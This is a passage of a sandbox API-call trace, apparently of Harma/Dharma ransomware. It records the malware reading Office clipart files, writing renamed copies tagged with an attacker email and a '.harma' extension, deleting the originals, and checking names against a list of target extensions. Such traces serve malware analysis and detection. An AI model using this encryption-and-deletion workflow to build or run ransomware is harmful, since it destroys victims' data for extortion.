"c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0141.837] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.837] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0141.838] GetLastError () returned 0x0 [0141.838] ReadFile (in: hFile=0x358, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1540, lpOverlapped=0x0) returned 1 [0141.926] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1550, lpOverlapped=0x0) returned 1 [0141.927] ReadFile (in: hFile=0x358, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.927] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.928] SetEndOfFile (hFile=0x210) returned 1 [0141.928] CloseHandle (hObject=0x210) returned 1 [0141.928] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.928] SetEndOfFile (hFile=0x358) returned 1 [0141.930] CloseHandle (hObject=0x358) returned 1 [0141.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.087] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0142.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.088] lstrlenW (lpString=".doc") returned 4 [0142.088] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.088] lstrlenW (lpString=".docx") returned 5 [0142.088] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.088] lstrlenW (lpString=".pdf") returned 4 [0142.088] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.088] lstrlenW (lpString=".xls") returned 4 [0142.088] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.088] lstrlenW (lpString=".xlsx") returned 5 [0142.088] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.088] lstrlenW (lpString=".ppt") returned 4 [0142.088] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.088] lstrlenW (lpString=".zip") returned 4 [0142.088] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.088] lstrlenW (lpString=".rar") returned 4 [0142.088] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.088] lstrlenW (lpString=".bz2") returned 4 [0142.088] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.088] lstrlenW (lpString=".7z") returned 3 [0142.088] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.088] lstrlenW (lpString=".dbf") returned 4 [0142.088] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.088] lstrlenW (lpString=".1cd") returned 4 [0142.088] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.089] lstrlenW (lpString=".jpg") returned 4 [0142.089] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.089] lstrlenW (lpString=".doc") returned 4 [0142.089] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.089] lstrlenW (lpString=".docx") returned 5 [0142.089] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0142.089] lstrlenW (lpString=".pdf") returned 4 [0142.089] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.089] lstrlenW (lpString=".xls") returned 4 [0142.089] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.089] lstrlenW (lpString=".xlsx") returned 5 [0142.089] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0142.089] lstrlenW (lpString=".ppt") returned 4 [0142.089] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.089] lstrlenW (lpString=".zip") returned 4 [0142.089] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.089] lstrlenW (lpString=".rar") returned 4 [0142.089] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.089] lstrlenW (lpString=".bz2") returned 4 [0142.089] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.089] lstrlenW (lpString=".7z") returned 3 [0142.089] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.089] lstrlenW (lpString=".dbf") returned 4 [0142.089] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.090] lstrlenW (lpString=".1cd") returned 4 [0142.090] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 63 [0142.090] lstrlenW (lpString=".jpg") returned 4 [0142.090] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.090] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0142.090] lstrlenW (lpString="PARNT_02.MID") returned 12 [0142.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.092] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=5714) returned 1 [0142.092] CloseHandle (hObject=0x350) returned 1 [0142.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0142.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.094] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.094] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0142.094] GetLastError () returned 0x0 [0142.094] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1652, lpOverlapped=0x0) returned 1 [0142.096] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1660, lpOverlapped=0x0) returned 1 [0142.097] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.097] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.097] SetEndOfFile (hFile=0x21c) returned 1 [0142.097] CloseHandle (hObject=0x21c) returned 1 [0142.098] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.098] SetEndOfFile (hFile=0x350) returned 1 [0142.100] CloseHandle (hObject=0x350) returned 1 [0142.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0142.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.101] lstrlenW (lpString=".doc") returned 4 [0142.101] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.101] lstrlenW (lpString=".docx") returned 5 [0142.101] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0142.101] lstrlenW (lpString=".pdf") returned 4 [0142.101] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.101] lstrlenW (lpString=".xls") returned 4 [0142.101] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.101] lstrlenW (lpString=".xlsx") returned 5 [0142.101] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0142.101] lstrlenW (lpString=".ppt") returned 4 [0142.101] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.101] lstrlenW (lpString=".zip") returned 4 [0142.101] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.101] lstrlenW (lpString=".rar") returned 4 [0142.101] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.101] lstrlenW (lpString=".bz2") returned 4 [0142.102] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.102] lstrlenW (lpString=".7z") returned 3 [0142.102] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.102] lstrlenW (lpString=".dbf") returned 4 [0142.102] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.102] lstrlenW (lpString=".1cd") returned 4 [0142.102] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.102] lstrlenW (lpString=".jpg") returned 4 [0142.102] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.102] lstrlenW (lpString=".doc") returned 4 [0142.102] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.102] lstrlenW (lpString=".docx") returned 5 [0142.102] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0142.102] lstrlenW (lpString=".pdf") returned 4 [0142.102] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.102] lstrlenW (lpString=".xls") returned 4 [0142.102] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.102] lstrlenW (lpString=".xlsx") returned 5 [0142.102] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0142.102] lstrlenW (lpString=".ppt") returned 4 [0142.102] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.102] lstrlenW (lpString=".zip") returned 4 [0142.102] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.102] lstrlenW (lpString=".rar") returned 4 [0142.103] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.103] lstrlenW (lpString=".bz2") returned 4 [0142.103] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.103] lstrlenW (lpString=".7z") returned 3 [0142.103] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.103] lstrlenW (lpString=".dbf") returned 4 [0142.103] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.103] lstrlenW (lpString=".1cd") returned 4 [0142.103] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0142.103] lstrlenW (lpString=".jpg") returned 4 [0142.103] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.103] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0142.103] lstrlenW (lpString="PARNT_03.MID") returned 12 [0142.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.104] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=8538) returned 1 [0142.104] CloseHandle (hObject=0x350) returned 1 [0142.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 0x20 [0142.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.104] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.104] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0142.105] GetLastError () returned 0x0 [0142.105] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x215a, lpOverlapped=0x0) returned 1 [0142.106] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x2160, lpOverlapped=0x0) returned 1 [0142.108] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.108] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.108] SetEndOfFile (hFile=0x21c) returned 1 [0142.108] CloseHandle (hObject=0x21c) returned 1 [0142.108] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.108] SetEndOfFile (hFile=0x350) returned 1 [0142.110] CloseHandle (hObject=0x350) returned 1 [0142.110] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0142.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.111] lstrlenW (lpString=".doc") returned 4 [0142.111] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.111] lstrlenW (lpString=".docx") returned 5 [0142.111] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0142.111] lstrlenW (lpString=".pdf") returned 4 [0142.111] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.111] lstrlenW (lpString=".xls") returned 4 [0142.111] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.111] lstrlenW (lpString=".xlsx") returned 5 [0142.112] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0142.112] lstrlenW (lpString=".ppt") returned 4 [0142.112] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.112] lstrlenW (lpString=".zip") returned 4 [0142.112] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.112] lstrlenW (lpString=".rar") returned 4 [0142.112] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.112] lstrlenW (lpString=".bz2") returned 4 [0142.112] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.112] lstrlenW (lpString=".7z") returned 3 [0142.112] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.112] lstrlenW (lpString=".dbf") returned 4 [0142.112] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.112] lstrlenW (lpString=".1cd") returned 4 [0142.112] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.112] lstrlenW (lpString=".jpg") returned 4 [0142.112] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.112] lstrlenW (lpString=".doc") returned 4 [0142.112] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.112] lstrlenW (lpString=".docx") returned 5 [0142.112] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0142.112] lstrlenW (lpString=".pdf") returned 4 [0142.112] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.112] lstrlenW (lpString=".xls") returned 4 [0142.112] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.113] lstrlenW (lpString=".xlsx") returned 5 [0142.113] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0142.113] lstrlenW (lpString=".ppt") returned 4 [0142.113] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.113] lstrlenW (lpString=".zip") returned 4 [0142.113] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.113] lstrlenW (lpString=".rar") returned 4 [0142.113] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.113] lstrlenW (lpString=".bz2") returned 4 [0142.113] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.113] lstrlenW (lpString=".7z") returned 3 [0142.113] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.113] lstrlenW (lpString=".dbf") returned 4 [0142.113] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.113] lstrlenW (lpString=".1cd") returned 4 [0142.113] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0142.113] lstrlenW (lpString=".jpg") returned 4 [0142.113] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.113] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0142.113] lstrlenW (lpString="PARNT_04.MID") returned 12 [0142.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.114] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6070) returned 1 [0142.114] CloseHandle (hObject=0x350) returned 1 [0142.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0142.115] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0142.115] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.115] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0142.116] GetLastError () returned 0x0 [0142.116] ReadFile (in: hFile=0x350, 